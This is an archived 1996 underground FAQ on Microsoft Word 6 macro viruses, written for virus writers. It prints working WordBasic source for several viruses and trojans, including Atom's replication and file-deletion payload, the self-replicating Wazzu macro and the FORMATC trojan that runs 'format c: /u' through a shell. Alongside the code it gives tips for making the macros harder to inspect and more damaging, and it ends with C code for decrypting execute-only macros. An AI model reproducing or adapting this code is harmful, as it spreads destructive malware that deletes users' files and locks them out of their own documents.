home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / MVUPDAT3.ZIP / MACRO_VX.ZIP / UNDMACRO.FAQ < prev   
Text File  |  1996-09-02  |  36KB  |  875 lines

  1.       --------------------------------------------------------------
  2.                             The UNDERGROUND
  3.                    MS WORD 6.x MACRO VIRUSES FAQ V2.0
  4.                        <Frequently Asked Questions>
  5.                      By      ,
  6.                         <****{=============-
  7.                              ' AuRoDrEpH, the Drow
  8.       --------------------------------------------------------------
  9.                            "Help to MICROFUCK WORD."
  10.       --------------------------------------------------------------
  11.  
  12.       --------------------------------------------------------------
  13.  
  14. TOPIC 1 : WHAT IS A WORD MACRO VIRUS?
  15. =========================================
  16.  
  17. A WORD MACRO Virus, is a macro <list of instructions> or template file
  18. <usually with the .DOT extension> which masquerades as legitimate MS WORD
  19. documents <usually with the extension *.DOC>.  An infected *.DOC file,
  20. doesn't look any different to the average PC user, as it can still contain
  21. a normal document.  The difference is that this document is really just a
  22. template or macro file, with instructions to replicate, and possibly cause
  23. damage.  MS WORD will interpret the *.DOT macro/template file regardless of
  24. extension, as a template file.  This allows for it being passed off as a
  25. legitimate document <*.DOC>  This FAQ takes the position that a document is
  26. meant to be DATA, and a MACRO is at least a partially executable CODE.  When
  27. a document has been infected, it has been merged with executable code in a
  28. multi-part file, part data/part executable.  This tends to be hidden from
  29. the user, who expects a document to be data that is READ, and not some
  30. combination of DATA and executable code designed to be executed, often
  31. against the will of the user, to wreck havok.
  32.  
  33. These viruses commonly tend to infected the global macros, which get
  34. automatically saved at the end of each session.  When the next session of
  35. MS WORD opens, the infected Global Macros are executed, and the WORD
  36. Environment is now infected, and will in turn be likely to infect documents
  37. whenever they are opened, closed, and created during all future sessions.
  38.  
  39. As a Virus, the WORD MACRO VIRUSES do REPLICATE.  They can spread in most
  40. cases to any MS WINDOWS Environment or OS that runs a compatible copy of MS
  41. WORD 6.x or 7.x, MS WORD 6.x running on OS/2, as well as WORD for MAC 6.0
  42. for MacOS.  This makes it a multi-platform/multi-OS file infector.  It also
  43. makes it one of the first non-research viruses to be successfully spread to
  44. all of these environments and OS's
  45.  
  46. MS Word Macro Viruses reside in interpreted data that can spread to
  47. different OS's/platforms.  These viruses do not spread via modification of
  48. executable machine code, but by modification of data in files that are
  49. interpreted by the Microsoft Word 6.0 program and any other versions of
  50. Word that support macros and WordBasic.
  51.  
  52. WordBasic Macro Language is much simpler to learn and master than
  53. ASSEMBLER, or other popular higher Level programming languages, and for
  54. this reason, Vx people <both new and old alike> have taken to it as a
  55. viable alternative to learning and coding ASM .  The thought of ticking
  56. users off on more than one platform has been around for years, and now
  57. thanks to MS WORD, and all it's compatible versions on other popular
  58. platforms, the Vx people have their wish.  Another Bonus of this new outlet
  59. for Vx writers, is that many virus scanners only scan Executable files,
  60. leaving the .DOC files of WORD alone.  It is important to note that many AV
  61. producers have now included scanners/cleaners to their software, allowing
  62. for the detection of existing MS WORD Macro Viruses.
  63.  
  64.  
  65.       --------------------------------------------------------------
  66.  
  67. TOPIC 2: HOW STUDY A INFECTED DOCUMENT
  68. =======================================
  69.  
  70. You are happy, :-) You find the latest macro virus. And now, you want to study
  71. it, find the source code and modify it.
  72. OK, I'll explain... it's very easy.
  73.  
  74. First of all, you make a copy of the NORMAL.DOT file (it's in the
  75. MSOFFICE\WINWORD\MODELES).
  76. In most case, the macro virus isn't dangerous, except for the trojan virus,
  77. FORMATC. In fact, when you read the document, it formats C:. So, a good idea is
  78. to run a TSR anti-virus like VIRSTOP.
  79. Now, you launch the WORD application, and ...(it's the time to execute)...
  80. then go to the menu TOOLS/OPTION and in the SAVE directory, click to select
  81. the option (ask for saving NORMAL.DOT).
  82.  
  83. Then you take a look at the file with a hexeditor.
  84.         A word document is composed of a first part, the data (text), then
  85. the macro and in the last part, the data (name of the file,...). OK. Find
  86. the name of the document near the end... and look for a "U". if you see some
  87. U's, this mean that the macros are encrypted. You will need more time to study
  88. because when you copy a macro, WORD gives you the option to READONLY: you can
  89. execute the macro, but you can't see the source...
  90. If you take a look for the name, you can see the macro of all the macros
  91. included in the file.
  92. The name can give you a idea of what they do,... but be careful !!
  93.  
  94. Now, you open the infected document and see what it does. nothing ... It's
  95. normal !! Go to the menu TOOLS/MACRO. You can see the name of the
  96. macro(the same you see with the hexeditor)
  97.  
  98. IF you can use the Modify button, the macro is Execute-only...
  99.                 THEN go to the TOPIC 4.
  100.                 Else you read the script and keep what you want...
  101.  
  102.  
  103. TOPIC 3: VIRUS EXAMPLES and what you can keep in mind
  104. ======================================================
  105.  
  106. I have studied some macro virus for you and I've commented them...
  107.  
  108.       --------------------------------------------------------------
  109.  
  110. 4.1: Concept Virus :
  111. ====================
  112.  
  113. Also known by the Aliases of WW6Macro, WinWord.Concept, Word Basic Macro
  114. Virus (WBMV), Word Macro 9508 <MAC> and Prank Macro <MicroSoft named it
  115. Prank, to downplay the seriousness of the situation>.  This was the first
  116. MS Macro Virus to be detected by the Anti-Virus community, and the first
  117. Macro Virus to be considered in the wild, with infections spreading to the
  118. US, UK, France, Germany, Bulgaria, Canada, the Netherlands, Turkey, and
  119. Finland, and other Countries.
  120.  
  121. A CONCEPT Infection is easy to notice, on the first execution of the virus
  122. infected document (on the first opening of the infected file) the
  123. MessageBox appears with digit "1" inside, and "Ok" button.  Also, simply
  124. checking the TOOLS/MACROS option to check loaded macros, the presence of
  125. concept is apparent by the appearance of these 5 macros :
  126.  
  127.        AAAZFS *
  128.        AAAZAO *
  129.        AutoOpen
  130.        PayLoad *
  131.        FileSaveAs
  132.  
  133. The infection routine of this virus :
  134.  
  135.         'see if we're already installed
  136.         For i = 1 To iMacroCount
  137.                 If MacroName$(i, 0, 0) = "PayLoad" Then
  138.                         bInstalled = - 1
  139.                 End If
  140.                 If MacroName$(i, 0, 0) = "FileSaveAs" Then
  141.                         bTooMuchTrouble = - 1
  142.                 End If
  143.         Next i
  144.         If Not bInstalled And Not bTooMuchTrouble Then
  145.                 'add FileSaveAs and copies of AutoOpen and FileSaveAs.
  146.                 'PayLoad is just for fun.
  147.                 iWW6IInstance = Val(GetDocumentVar$("WW6Infector"))
  148.                 sMe$ = FileName$()
  149.                 sMacro$ = sMe$ + ":Payload"
  150.                 MacroCopy sMacro$, "Global:PayLoad"
  151.                 sMacro$ = sMe$ + ":AAAZFS"
  152.                 MacroCopy sMacro$, "Global:FileSaveAs"
  153.                 sMacro$ = sMe$ + ":AAAZFS"
  154.                 MacroCopy sMacro$, "Global:AAAZFS"
  155.                 sMacro$ = sMe$ + ":AAAZAO"
  156.                 MacroCopy sMacro$, "Global:AAAZAO"
  157.  
  158.  
  159.  
  160. At the end of each Macrocopy, you put ,1 and you have Execute-Only macros...
  161.         just an idea :)
  162.  
  163.       --------------------------------------------------------------
  164.  
  165. 4.2: Nuclear :
  166. ==============
  167.  
  168. Known widely as Winword.Nuclear, Wordmacro-Nuclear and Wordmacro-Alert.
  169. This virus was the first WordMacro virus to infect <or at least to attempt
  170. to infect> both data/documents <Word Documents .DOT and .DOC> as well as
  171. executables <.COM/.EXE/NEWEXE>
  172.  
  173. In truth, it is 2 viruses, a macro virus which alters the Operating
  174. Environment of WORD, and an executable file infector <as well as a system
  175. file deleter>.  This makes NUCLEAR the first Macro Virus to also
  176. incorporate, or at least try to incorporate a classic File Infector Virus.
  177. This virus is actually quite ineffective in the destructive sense, detailed
  178. later in this document. The infected documents contains the following nine
  179. Macros...
  180.  
  181.        AutoExec
  182.        AutoOpen
  183.        FileSaveAs
  184.        FilePrint
  185.        FilePrintDefault
  186.        InsertPayload   *
  187.        Payload         *
  188.        DropSuriv       *
  189.        FileExit
  190.  
  191. which get copied into the GLOBAL Macro List.
  192.  
  193. General detection of NUCLEAR is easy, simply view the macros listed under
  194. the Macros command under the Tools Menu.  If Macros "InsertPayload",
  195. "Payload", and "DropSuriv" are listed, then you'll likely have a NUCLEAR
  196. infection. <unless you named legitimate macros with the same names... :) >
  197. NUCLEAR hides itself from detection, by disabling the "PROMPT FOR CHANGES
  198. TO NORMAL.DOT" option.  Changes are made, and the user doesn't notice
  199. anything.
  200.  
  201.  
  202. The "InsertPayload" Macro will cause the following text to be added to the
  203. end of printouts when printing documents. Every 12th printout will have the
  204. following text added...
  205.  
  206.        And finally I would like to say:
  207.        STOP ALL FRENCH NUCLEAR TESTING IN THE PACIFIC!
  208.  
  209. which is appended to the file after the command to print is issued but
  210. prior to the actual printing. FAX's sent via a FAX Print Driver will also
  211. be affected, this much I know first hand.  From testing, I came to the
  212. realization that some Vx putz will start messing with my outgoing faxes
  213. behind our backs.
  214.  
  215. Another included Macro, is "Payload" which tries to delete IO.SYS,
  216. MSDOS.SYS and COMMAND.COM on April 5th. It is inaffective, as WordBasic
  217. can't reset the attributes of a file which has the System attribute set.
  218. It has been noted that a variant that does work is being circulated.
  219.  
  220. The Second part of the Nuclear Virus is the executable infector.  The
  221. DropSuriv Macro checks system time, and will attempt to drop the file
  222. infector between 17:00/18:00.  However, the routine is flawed, and
  223. shouldn't work on any system.  <fails due to a syntax error - not closed IF
  224. statement, which makes this payload never executed> If DropSuriv DID work
  225. properly, it would search for the standard DOS util DEBUG.EXE, if found,
  226. the macro drops PH33r.SCR & EXEC_PH.BAT.  The Bat File is executed, and
  227. then the hex dump file PH33r.SCR is converted from a DEBUG script into an
  228. executable, and is in turn executed.  Later, the .SCR and the .BAT files
  229. are deleted to cover its tracks.  The File infector then hooks INT 21h and
  230. writes itself at the end of COM/EXE/NewEXE files.  <however, the memory is
  231. released once this DOS task is completed, includes the memory resident
  232. virus Ph33r> Unconfirmed reports state that a NUCLEAR infected Macro with a
  233. fully operational DropSuriv Macro exist.
  234.  
  235. The following text strings are in the executable infector...
  236.  
  237.        =Ph33r=
  238.        Qark/VLAD
  239.  
  240. The virus group VLAD publish it in the issue n4. (I think the entire version of
  241. this virus So, found them on the Net.)
  242.       --------------------------------------------------------------
  243.  
  244. 4.3:  Colors:
  245. =============
  246.  
  247. Colors, is the first WINWORD Macro Virus that could be called cute <IMHO>.
  248. This Virus has the noticeable ability to alter the Windows colors settings.
  249.   If iModEvery = (iEvery - 1) Then
  250.                 sColors$(0) = "Background"
  251.                 sColors$(1) = "AppWorkspace"
  252.                 ...
  253.                 sColors$(19) = "InactiveTitleText"
  254.                 sColors$(20) = "ButtonHilight"
  255.  
  256.      For i = 0 To 20
  257.           SetProfileString("colors", sColors$(i), Str$(Int(Rnd() * 256)) + " "
  258.                    + Str$(Int(Rnd() * 256)) + " " + Str$(Int(Rnd() * 256)))
  259.      Next i
  260.   End If
  261.  
  262. Mac Word is immune to the payload <the system colors attack> but is still
  263. susceptable to the infection mechanism, which will attack documents.
  264. Detection of infections is easy, as infected documents appear with the
  265. template icon, rather than the usual document icon.
  266.  
  267. Commonly known as Rainbow or WordMacro.Colors, this virus was freely posted
  268. to usenet newsgroups on October 14th, 1995. The Colors Virus will infect
  269. the global template <usually NORMAL.DOT> upon opening of an infected
  270. document.  An infected document contains the following macros:
  271.  
  272.        AutoOpen
  273.        AutoClose
  274.        AutoExec
  275.        FileNew
  276.        FileExit
  277.        FileSave
  278.        FileSaveAs
  279.        ToolsMacro, and other macros.
  280.  
  281. All Macros included in COLORS are Execute-Only, and cannot be viewed or
  282. edited by MicroSoft Word.  If normal "clean" macros with the same names
  283. existed prior to infection, they will be overwritten by COLORS.
  284.  
  285. The AutoExec Macro of COLORS is an EMPTY Macro, possibly designed to defeat
  286. any ANTI-MACRO-VIRUS schemes developed by the AV community.  It
  287. accomplishes this by overwriting a "CLEANING/SCANNER" AutoExec Macro with
  288. COLORS empty one, effectively making the AV Scanner/Cleaner useless.
  289.  
  290. COLORS will also enable AutoMacros in case you were smart and disabled
  291. them!  It will also disable the MS Word's Prompt to save changes to
  292. NORMAL.DOT.
  293.  
  294.  [      OutilsOptionsEnregistrement .InviteGlobalDot = 0 ]  Very interesting
  295.  
  296.  
  297. COLORS is crafty, as it can spread without the use of AUTO macros...  thus
  298. defeating the DISABLE AUTOMACROS Feature.  It does so via the Macros:
  299.  
  300.        File/New
  301.        File/Save
  302.        File/SaveAs
  303.        File/Exit
  304.        Tools/Macro
  305.  
  306. COLORS will infect NORMAL.DOT whenever a user chooses any of the above
  307. functions.  It also has limited stealth ability, earning it the title of
  308. being the first WINWORD STEALTH MACRO VIRUS.  It accomplishes it's stealth
  309. actions, by hiding itself from the active listing, since attempting to view
  310. active macros would run the COLORS infected Tools/Macro, thus hiding it's
  311. own presence while simultaneously infecting your system.
  312.  
  313.  [   MacroTools .Name = sNames$(i), .Print = 1, .Delete    ] Good !!!
  314.  
  315. The COLORS virus will keep track of infections via a counter, named
  316. "countersu", which can be found under the [Windows] section of the WIN.INI
  317. file.  Whenever an infected macro is executed, the counter is incremented
  318. by a count of one.  It quickly adds up, when you consider how much you
  319. OPEN, CREATE, SAVE, EXIT, and CLOSE documents.  When the increment counter
  320. reaches 299, and every 300th execution thereafter, COLORS will be
  321. triggered.  COLORS will then make changes to the system colors setup,
  322. including text, background, borders, buttons, etc., using randomly
  323. determined colors.  The new color scheme becomes apparent to the user
  324. during the next session of Windows.
  325.  
  326. Colors ability to spread without the use of AutoExecute Macros, and its use
  327. of Advanced Stealth techniques signals a new level of MACRO virus
  328. technology.  <Hiding itself from view when you actively look for it defines
  329. STEALTH in my book, since it evades detection> It also adds fuel to the VxD
  330. argument, as an on access scanner could prevent infection by this type of
  331. stealthy virus.
  332.  
  333. You have the complete disassemblie in the previous issue.. so download it...
  334.       --------------------------------------------------------------
  335.  
  336. 4.4: DMV:
  337. =========
  338.  
  339. Commonly known as WordMacro.DMV, DMV is an unremarkable TEST Virus,
  340. possibly the first to be created using the WORDBasic Language.  Joel
  341. McNamera wrote it in the fall of 1994, as a real time TEST for some MACRO
  342. Virus Theories.  The Virus was kept under wraps, and a detailed paper was
  343. published.  This TEST virus was only released, as an educational aid, after
  344. the CONCEPT virus was discovered.  DMV isn't a threat to anyone, as it
  345. announce itself upon infecting the system.
  346.  
  347. Nothing to say, it's an old virus. and now, all the technique used was
  348. detected by most AVX.
  349.       --------------------------------------------------------------
  350.  
  351. 4.5: HOT:
  352. =========
  353.  
  354. Also known as WORDMACRO HOT, WinWord.Hot.
  355.  
  356. Not the most ingenious of the Macro Virus Family, it's biggest kick, is the
  357. ability to wait or sleep for awhile <up to 14 days> and then delete a file.
  358. WordMacro/Hot appears to be the first Word macro virus written in Russia.
  359. It was found in the wild in Russia in January 1996.
  360.  
  361. Infected documents contain four execute-only macros:
  362.  
  363.         AutoOpen
  364.         DrawBringInFrOut
  365.         InsertPBreak
  366.         ToolsRepaginat.
  367.  
  368. MacIntosh Word Users will notice HOT, by examining the icon of the file...
  369. infected documents appear with the template icon, normal documents appear
  370. with the normal document icon.
  371.  
  372. NOTE: WordMacro/Hot appears to be the first macro virus to use external
  373. functions, allowing Word macros to call any standard Windows API call.
  374. This makes the spreading function Windows 3.x specific, preventing Word for
  375. MAC and Word 7 for Win '95 from spreading the Virus.  An error dialog will
  376. be displayed under Microsoft Word 7.0.
  377.  
  378.         Unable to load specified library
  379.  
  380. HOT activates automatically via it's AutoOpen Macro <assuming no attempt to
  381. disable AutoMacros has been made> adding a line LIKE...
  382.  
  383.         QLHot=34512
  384.  
  385. to Ms Word for Windows 6's WinWord6.INI file, which acts as a counter
  386. recorder system, setting a date 14 days in the future for payload
  387. activation.
  388.  
  389. HOT then copies the included macros to the Global Template, NORMAL.DOT
  390. usually, revising their names...
  391.  
  392.         AutoOpen          ==>   StartOfDoc
  393.         DrawBringInFrOut  ==>   AutoOpen
  394.         InsertPBreak      ==>   InsertPageBreak
  395.         ToolsRepaginat    ==>   FileSave
  396.  
  397. A listing of the currently loaded macros in this infected environment will
  398. reveal the names in the right list.  Loading another infected document
  399. <actually a template> will add the left list to the macro list plus the
  400. right list.  NOTE:   Macros have been saved with the 'execute-only'
  401. feature, which means  that a user can't view or edit them.
  402.  
  403. A clean <AutoMacros disabled> WORD environment will produce the left list
  404. when viewing an infected document.
  405.  
  406. HOT's FileSave macro cause the virus to randomly decide within 1-6 days
  407. from the infection date to activate whenever an effort to open files is
  408. made.  Upon activation, a document will have it's contents deleted, by
  409. opening it, slecting the entire contents, delting them, and closing the
  410. document, saving it in it's now empty state.
  411.  
  412. Users with c:\DOS\EGA5.CPI should be protected from this macro, as the
  413. author included a check for this file as a protective measure, noted in the
  414. source code as follows:
  415.  
  416.   '---------------------------------------------------------------
  417.   '- Main danger section: if TodayNo=(QLHotDateNo + RndDateNo) ---
  418.   '- and if File C:DOSega5.cpi not exist (not for OUR friends) ---
  419.   '---------------------------------------------------------------
  420.  
  421. HOT's InsertPBreak Macro inserts a page-break in current documents, which
  422. is used as a sign of a document already being infection by HOT.
  423.  
  424. NOTE:  WordMacro/Hot relies on the existence of KERNEL.EXE
  425.  
  426. I can see this macro, if you have it, please send it to the mag.... thanks
  427.  
  428.       --------------------------------------------------------------
  429.  
  430. 4.6: MS WORD 2/MS WORD 6.x MACRO TROJAN WEIDEROFFEN:
  431. ====================================================
  432.  
  433. This is a new MACRO Trojan, <that's been around for 2 years> that goes by
  434. the alias WinWord.Weideroffnen.  It is technically a WinWord 2 infected
  435. document, that works eqwually well under MS WORD 6.x.  It intercepts
  436. AutoClose, and attempts to play tricks with boot-up file AUTOEXEC.BAT.
  437.  
  438. I haven't seen this macro virus, so I don't know...
  439.  
  440.       --------------------------------------------------------------
  441.  
  442.  
  443. 4.7  WORDMACRO ATOM / ATOMIC
  444. =============================
  445.  
  446. This is a new Macro Virus, found in February 1996, which works along the
  447. same general ideas as the original Concept virus. The WordMacro/Atom virus
  448. is not known to be in the wild.
  449.  
  450. The differences, when compared to the Concept Virus, follows:
  451.  
  452.        - All the macros in this virus have been marked EXECUTE ONLY,
  453.          making them encrypted
  454.        - Replication occures both during file openings, and file saves.
  455.        - Atom comes with 2 destructive payloads
  456.  
  457. On December 13th, it's first point of activation occures.  It will attempt
  458. to delete all files in the current file directory.
  459.  
  460. The second activation, password protects documents, restricting the users
  461. access to their own documents.  This happens when the system clock seconds
  462. counter equals 13, and a File/Save As command is issued.  The passowrd
  463. assigned to the documents is ATOM#1.
  464.  
  465. If the user disables AUTOMACROS, Atom will be unable to execute and spread
  466. to other documents.  Enabling the Prompt To Save NORMAL.DOT will prevent
  467. Atom from attacking and infecting the NORMAL.DOT file.
  468.  
  469. Here is the source :
  470.         Keep in mind the idea of put a passwd in a file, not a bad idea....
  471. Macros: Atom
  472.  
  473. Sub MAIN
  474. On Error Goto KillError
  475. If Day(Now()) = 13 And Month(Now() = 12) Then
  476.         Kill "*.*"
  477. End If
  478. KillError:
  479. End Sub
  480.  
  481.  
  482.  
  483. Macros: AutoOpen
  484.  
  485. Sub MAIN
  486. Dim FN$
  487. FN$ = FileName$()
  488. On Error Goto ErrorInfectGlobalTemplate
  489. If (CheckInfected = 0) Then
  490.         MacroCopy FN$ + ":FileSaveAs", "FileSaveAs", 1
  491.         MacroCopy FN$ + ":FileOpen", "FileOpen", 1
  492.         MacroCopy FN$ + ":AutoOpen", "AutoOpen", 1
  493.         MacroCopy FN$ + ":Atom", "Atom", 1
  494.         SaveTemplate
  495. End If
  496. Call Atom
  497. ErrorInfectGlobalTemplate:
  498. End Sub
  499.  
  500. Function CheckInfected
  501. CheckInfected = 0
  502. If (CountMacros(0) >= 4) Then
  503.         For I = 1 To CountMacros(0)
  504.                 If (MacroName$(I, 0) = "Atom") Then
  505.                         CheckInfected = 1
  506.                 End If
  507.         Next I
  508. End If
  509. End Function
  510.  
  511.  
  512.  
  513. Macros: FileOpen
  514.  
  515. Sub MAIN
  516. On Error Goto InfError
  517. Dim dlg As FileOpen
  518. GetCurValues dlg
  519. Dialog dlg
  520. FileOpen dlg
  521. MacroCopy "AutoOpen", Dlg.Name + ":AutoOpen", 1
  522. MacroCopy "FileSaveAs", Dlg.Name + ":FileSaveAs", 1
  523. MacroCopy "FileOpen", Dlg.Name + ":FileOpen", 1
  524. MacroCopy "Atom", Dlg.Name + ":Atom", 1
  525. FileSaveAs .Format = 1
  526. InfError:
  527. End Sub
  528.  
  529.  
  530.  
  531. Macros: FileSaveAs
  532.  
  533. Sub MAIN
  534. Dim dlg As FileSaveAs
  535. GetCurValues dlg
  536. Dialog dlg
  537. If (Dlg.Format = 0) Or (Dlg.Format = 1) Then
  538.         MacroCopy "FileSaveAs", WindowName$() + ":FileSaveAs", 1
  539.         MacroCopy "AutoOpen", WindowName$() + ":AutoOpen", 1
  540.         MacroCopy "FileOpen", WindowName$() + ":FileOpen", 1
  541.         MacroCopy "Atom", WindowName$() + ":Atom", 1
  542.         Dlg.Format = 1
  543. End If
  544. If (Second(Now()) = 13) Then        ] easy... to block a document
  545.         Dlg.Password = "ATOM#1"     ] a idea why not put a randomize passwd ?
  546. End If
  547. FileSaveAs dlg
  548. End Sub
  549.  
  550.       --------------------------------------------------------------
  551.  
  552. 4.9  FORMATC MACRO TROJAN
  553. ==========================
  554.  
  555. Also known as WORDMACRO.FORMATC, and FORMAT.C.Macro.Trojan
  556.  
  557. The FORMATC Macro Virus, isn't even a virus, as it DOES NOT SPREAD.  This
  558. makes it another MACRO TROJAN.  This Trojan contains only one macro,
  559. AutoOpen, which will be executed automatically when a document is opened.
  560. The Macro AutoOpen, is READ ONLY, making it encrypted, and unreadable and
  561. editable.  It is visiable in the Macro List.
  562.  
  563. When FORMATC is executed, "triggered", it will  run a dos session, in a
  564. minimized DOS box.  It will run an Unconditional Format of the C drive.
  565.  
  566. Here is the macro (Basic) but deadly...
  567. Sub MAIN
  568.         sCmd$ = "echo y|format c: /u"
  569.         Shell Environnement$("COMSPEC") + "/c " + sCmd$, 0
  570. End Sub
  571.  
  572. If you want to execute DOS command, you have here a hint on how to do it.
  573.  
  574. 4.10  WORDMACRO WAZZU
  575. =======================
  576. WordMacro/Wazzu consists of a single AutoOpen macro; this makes it language
  577. independent, ie. this macro virus is able to infect localized versions of
  578. Word as well as the english Word.
  579.  
  580. It's inserted in your text the word "Wazzu" ... why not....
  581. Nothing more to said, classic...
  582.  
  583. Sub MAIN
  584.         On Error Goto errCaught
  585.  
  586.         FileSummaryInfo .Update
  587.         Dim dlg As FileSummaryInfo
  588.         GetCurValues dlg
  589.  
  590.         fileMacro$ = dlg.Directory + "\" + dlg.FileName + ":autoOpen"
  591.         globMacro$ = "Global:autoOpen"
  592.         MacroFile$ = UCase$(Right$(MacroFileName$(MacroName$(0)), 10))
  593.  
  594.         If MacroFile$ = "NORMAL.DOT" Then
  595.                 MacroCopy globMacro$, fileMacro$
  596.                 FileSaveAs .Format = 1
  597.         Else
  598.                 MacroCopy fileMacro$, globMacro$
  599.         End If
  600.  
  601.         Payload
  602.  
  603. Goto bye
  604. errCaught:
  605.  
  606. bye:
  607.         On Error Goto 0
  608.  
  609. End Sub
  610.  
  611. Sub Payload
  612.         For i = 1 To 3
  613.                 If Rnd() < 0.2 Then
  614.                         RndWord
  615.                         SelectCurWord
  616.                         selWord$ = Selection$()
  617.                         DeleteWord
  618.  
  619.                         RndWord
  620.                         Insert selWord$ + " "
  621.                 End If
  622.         Next
  623.  
  624.         If Rnd() < 0.25 Then
  625.                 RndWord
  626.                 Insert "wazzu "  <-------------------here's the payload
  627.                 StartOfDocument
  628.         End If
  629.  
  630. End Sub
  631.  
  632. Sub RndWord
  633.         FileSummaryInfo .Update
  634.         Dim dlg As DocumentStatistics
  635.         GetCurValues dlg
  636.  
  637.         wordNum = Int(Rnd() * Val(dlg.Words))
  638.         StartOfDocument
  639.         WordRight wordNum
  640. End Sub
  641.  
  642.  
  643. TOPIC 5: HOW TO DO WITH EXECUTE-ONLY MACROS
  644. ============================================
  645.  
  646. Easy, when you copy a macro with the option 1, Microsoft Word encrypts the
  647. source of the macro, so when you look at the file, you can't see it....
  648. But, the encryption they use is stupid :))) an XOR value... so the only
  649. difficult thing, it's to find the XOR key...you must scan the file
  650. and the Xor value is included...
  651.  
  652. I explain the method :
  653.         Locate the "real" filename of the document within the document,
  654.         A few bytes after the end of the name, there is a "U", the byte
  655.                 immediately following is the ... XOR value to use.
  656.         Now to find the beginning of the macros are usually at B89h or
  657.                 at 1509h. To locate, there is always the sequence
  658.                 A5h C6h 41h then a byte and then the XOR value....
  659.  
  660. This is the standard method, you must know that each macro has a specific XOR
  661. value.. when you look for the filename, you will find as many U's as you
  662. have macros in the document.
  663.  
  664. I encountered some difficulties when the document is composed of encrypted
  665. macros and normal macros... In this case, try to delete some macros and
  666. decrypt...
  667.  
  668. I can give you a little C source to help you. This source uses a brutal method,
  669. so you will have 1 macro readable by file.... try with the COLORS macro
  670. (last issue). I know that the soft. functions well.
  671. - --><-cut here---------------------------------
  672. /*********
  673.   (c) AURODREPH Productions 04/1996
  674. **********/
  675.  
  676. #include "io.h"
  677. #include "stdlib.h"
  678. #include "stdio.h"
  679. #include "conio.h"
  680. #include "process.h"
  681. #include "fcntl.h"
  682. #include "string.h"
  683. #include "sys\stat.h"
  684.  
  685. void main (void)
  686.  {
  687.         char Name[13];
  688.         char Target[13];
  689.         unsigned char *Buffer;
  690.         int Handler, Handler1;
  691.         unsigned int Offset;
  692.         unsigned long Length = 0;
  693.         int point, max, trouve, cledec, debmac, decfin;
  694.         int stop,nbr,positcle,nbrmac,i;
  695.  
  696.         clrscr();
  697.         printf (" ******************************************************************\n");
  698.         printf (" *                                                                *\n");
  699.         printf (" *               DECRYPT WORD 6.0 MACROS saved                    *\n");
  700.         printf (" *                 with the option Execute-only                   *\n");
  701.         printf (" *                                                                *\n");
  702.         printf (" *                                                                *\n");
  703.         printf (" *       --- ,This file works only with files < 32 Ko. ----       *\n");
  704.         printf (" *     <*****}===============-                                    *\n");
  705.         printf (" *      (z)  ' AURODREPH Productions 04/1996                      *\n");
  706.         printf (" *                                                     ver 0.666B *\n");
  707.         printf (" ******************************************************************\n");
  708.         printf ("\n"); printf("\n");
  709.         printf ("Name of the input file     = ");
  710.         scanf ("%12s",Name);
  711.         printf ("\n");
  712.         printf ("Name of the output file    = ");
  713.         scanf ("%12s",Target);
  714.         printf("\n");
  715.         printf ("Number of crypted macros   = ");
  716.         scanf ("%d",&nbrmac);
  717.         printf("\n");
  718.         if (nbrmac > 50 ) {exit (0);}
  719.         Handler = open (Name, O_BINARY | O_RDONLY , S_IREAD);
  720.         if (Handler == -1)
  721.                 {printf ("The input file doesn't exist.\n"); exit(0);}
  722.  
  723.         Length = (unsigned long) lseek(Handler, 0, SEEK_END);
  724.         lseek (Handler,0,SEEK_SET);
  725.         Buffer = (unsigned char *) malloc((unsigned) Length);
  726.         if (Buffer == NULL) printf ("Fail memory allocation.\n");
  727.         if (read(Handler, Buffer, (unsigned) Length) != Length)
  728.                 {printf ("The size of the file is > 32 ko)\n");
  729.                  printf ("Try to remove some macros with WORD....\n");
  730.                  exit (0);}
  731.  
  732.         point = 0;
  733.         max = strlen(Name);
  734.         trouve = 1;
  735.         cledec = 0x00;
  736.         debmac = 0x00;
  737.         stop = 0;
  738.         for (i=0; i<max;i++)
  739.                 {if ((Name[i]>= 0x61) & (Name[i]<= 0x7A))
  740.                          { Name[i] = Name[i] & 0xDF ;}
  741.                 };
  742.  
  743.         for (Offset = 0x0000; Offset < Length; Offset++)
  744.          {
  745.           if ((Buffer[Offset] == Name[point]) && (stop !=1))
  746.                         {
  747.                         for (point = 1; point <= (max-1); point++)
  748.                                  {if (Buffer [Offset+point] == Name[point])
  749.                                                         { trouve = trouve+1; }                                                  }
  750.                                                         else trouve = 1;
  751.                                  };
  752.                         }
  753.           if (trouve == max) {stop = 1;}
  754.           if ((trouve == max) && (Buffer[Offset] == 0x55))
  755.                         {cledec = Buffer[Offset+1];
  756.                         trouve = 0;
  757.                         Buffer [Offset+1] = 0x00;
  758.                         positcle = Offset;
  759.                         }
  760.           point = 0;
  761.          };
  762. if (cledec == 0x00)
  763.         {printf (" Don't find the decrypted key... \n"); exit (0);}
  764.         else printf ("Decrypted Key for the macro n 1 = %x \n", cledec);
  765.  
  766.         for (Offset = 0x0000; Offset < Length; Offset++)
  767.          {
  768.           if (Buffer[Offset] == 0xA5)
  769.           {if ((Buffer [Offset+1] == 0xC6) || (Buffer [Offset+1] == 0xC4))
  770.                   {if (Buffer [Offset+2] == 0x41)
  771.                           {if (Buffer [Offset+4] == cledec)
  772.                                         {debmac = Offset+3;
  773.                                         }
  774.                           }       }       }      };
  775. if (debmac == 0x00)
  776.                 {for (Offset = 0x0000; Offset < Length; Offset++)
  777.                                  {
  778.                                  if (Buffer[Offset] == cledec-1)
  779.                                         {if (Buffer [Offset+1] == cledec)
  780.                                                {debmac = Offset;  }
  781.                                                 }        };             }
  782. if (debmac == 0x00) { printf (" Don't find the beginning of the macro\n");      exit(0);}
  783.  
  784.  
  785. for (nbr = 1 ; nbr <= nbrmac ;nbr++)
  786. {
  787. if (nbr != 1)
  788.         {
  789.         printf ("\n");
  790.         printf (" I decrypt the macro n %d \n", nbr);
  791.         Offset = positcle+24;
  792.          if (Buffer[Offset] ==  0x55)
  793.                         {cledec = Buffer [Offset+1];
  794.                         Buffer [Offset+1] = 0x00;
  795.                         positcle = Offset;
  796.            printf ("Decrypted Key for the macro n %d = %x \n", nbr,cledec);
  797.                                 }
  798.                         else
  799.                     {printf (" Don't find the decrypted key ....\n");}
  800.         }
  801. Offset = debmac;
  802. point = 0;
  803. decfin = 1;
  804. stop = 1;
  805. printf ( " I work ");
  806.         do
  807.         { if (stop == 400) {printf ("."); stop = 1 ;}
  808.           Buffer[Offset+point] ^= cledec ; /* decryptage par XOR */
  809.  
  810.           if (Buffer [Offset+point] == 0x64)
  811.                                 {Buffer [Offset+point+1] ^= cledec;
